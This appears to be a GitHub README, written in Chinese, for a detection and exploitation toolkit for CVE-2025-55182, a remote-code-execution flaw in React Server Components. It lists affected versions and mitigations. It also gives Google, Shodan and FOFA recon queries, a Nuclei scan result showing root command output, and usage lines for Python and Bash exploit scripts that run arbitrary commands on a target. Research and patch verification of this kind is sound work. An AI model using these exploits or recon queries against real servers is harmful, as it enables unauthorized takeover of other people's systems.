cyberleelawat/CVE-2025-55182
GitHub: cyberleelawat/CVE-2025-55182
针对 React Server Components 反序列化远程代码执行漏洞(CVE-2025-55182)的检测、利用与缓解工具包。
Stars: 1 | Forks: 1
# CVE-2025-55182 – React Server Components 远程代码执行

[](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
[](https://nvd.nist.gov/vuln/detail/CVE-2025-66478)
[](https://www.first.org/cvss/)
#### 创建者 : **Virendra Kumar**
#### 公司 : **Cyber Leelawat**
#### 网站 : www.cyberleelawat.in
## 概述
CVE-2025-55182 是一个严重的远程代码执行 (RCE) 漏洞,影响包括以下多个包在内的 React Server Components (RSC) 实现:
- react-server-dom-webpack
- react-server-dom-turbopack
- react-server-dom-parcel
该漏洞的存在是由于 RSC 使用的内部 Flight 协议传输的 payload 进行了不安全的反序列化。当某些不受信任的输入通过 HTTP 请求流入 React Server Components 时,可能会触发服务器端代码执行。
受影响的版本包括:
- 19.0.0
- 19.1.0
- 19.1.1
- 19.2.0
已修复的版本包括:
- 19.0.1
- 19.1.2
- 19.2.1
## 漏洞原理 (概述)
React Server Components 接收客户端请求,这些请求在后端进行解析和反序列化。该漏洞源于对入站数据反序列化的控制不足,导致精心构造的 payload 会被解释为可执行的服务器端组件。
当发生这种情况时,可能会在服务器上执行任意 JavaScript,根据托管环境和权限的不同,可能导致服务器被完全攻陷。
## 根本原因
- RSC Flight 协议流中缺乏适当的输入验证。
- 错误地假设服务器信任边界是安全的。
- 对不受信任的用户输入进行了不安全的服务器端解析。
## 影响
如果被利用,攻击者可能能够:
- 实现远程代码执行
- 执行任意的服务器端命令
- 访问数据库或操作系统级资源
- 安装恶意软件或后门
- 窃取敏感数据
- 在基础设施内部进行横向移动
CVSS 评分:
**10.0 – 严重**
# 手动测试 (安全的防御性识别)
### 主要目标:
验证应用程序是否暴露了 React Server Components 以及是否使用了受影响的版本。
### 步骤 1 — 通过响应特征检查 RSC 的存在
```
curl -I https://target.com/?__rsc=1
```
## Google 侦察 (防御性关键字)
这些关键字有助于识别面向公众的仓库或 Web 应用程序是否引用了 RSC 组件。
```
"React Server Components" "Flight" inurl:src
"react-server-dom-webpack" filetype:lock
"server.references" "react"
"rsc" "react-dom"
```
### 检查:
- 是否存在 RSC 功能?
- 前端包中是否可见相关包?
- 是否有公开的 Git 引用?
## 内部 Google 查询示例 (仅限您自己的范围)
```
site:yourdomain.com "react-server"
site:yourdomain.com "flight" "react"
site:yourdomain.com "rsc"
```
# Shodan (安全的技术指纹识别)
检查暴露的框架使用情况,而非漏洞利用。
```
http.title:"Next.js"
"powered by" "Next.js"
X-Powered-By: Next.js
http.favicon.hash=
```
# 仅限 FOFA 技术分类
```
title="Next.js"
header="next-router-state-tree"
body="/_next/static/"
server="next"
```
# 自动化测试 (内部 / 实验室)
为了自动化防御性扫描,请克隆基于模板的检测逻辑,以进行您自己的基础设施评估:
```
git clone https://github.com/cyberleelawat/CVE-2025-55182.git
cd CVE-2025-55182
```
### Nuclei 模板
```
$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
```
### Python RCE 利用脚本 (`CVE-2025-55182.py`)
功能齐全的 RCE 利用脚本,可执行任意命令并获取输出。
**用法:**
```
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
```
## Bash 利用脚本
### 安装
```
chmod +x scanner.sh
```
## 用法
```
# 使用默认命令扫描 (id)
./scanner.sh -d example.com
# 执行自定义命令
./scanner.sh -d example.com -c "whoami"
# 使用完整 URL
./scanner.sh -d https://example.com -c "uname -a"
```
## 选项
- `-d, --domain` - 目标域名/URL (必填)
- `-c, --command` - 要执行的命令 (默认: `id`)
## 示例
```
# 检查目标是否存在漏洞
./scanner.sh -d vulnerable-app.com
# 获取系统信息
./scanner.sh -d vulnerable-app.com -c "uname -a"
# 列出文件
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
```
## 要求
- Bash
- curl
- openssl
致谢:Bash 和 Python 脚本最初由 @zack0x01 和 @sickwell 创建。在此表示感谢。
此仓库中的模板用于:
- 版本识别
- 可见性检查
- 基础设施盘点
- 漏洞感知
# Nuclei (防御性使用声明)
本仓库中包含的 Nuclei 模板仅用于:
- 依赖项版本验证
- 间接指纹识别
- 被动检查
- 内部安全审计
请确保:
- 您已获得书面授权
- 您仅扫描自己的资产
- 您遵守当地法律和政策
# 推荐的缓解措施
### 立即更新
升级到以下已修复的版本之一:
- 19.0.1
- 19.1.2
- 19.2.1
### 如果您无法立即打补丁
- 暂时禁用 RSC 功能
- 隔离服务器组件
- 实施 WAF 规则
- 限制暴露的网络面
### 👨💻 **Cyber Leelawat**
*安全研究员 • 网络安全培训师 • 漏洞赏金猎人*
**座右铭:** *零信任,全安全* 🚀
|
|
|
|
|
|
|
|
|
**由 [Cyber Leelawat](https://github.com/cyberleelawat) 用 ❤️ 制作**
*零信任,全安全* 🎯🔐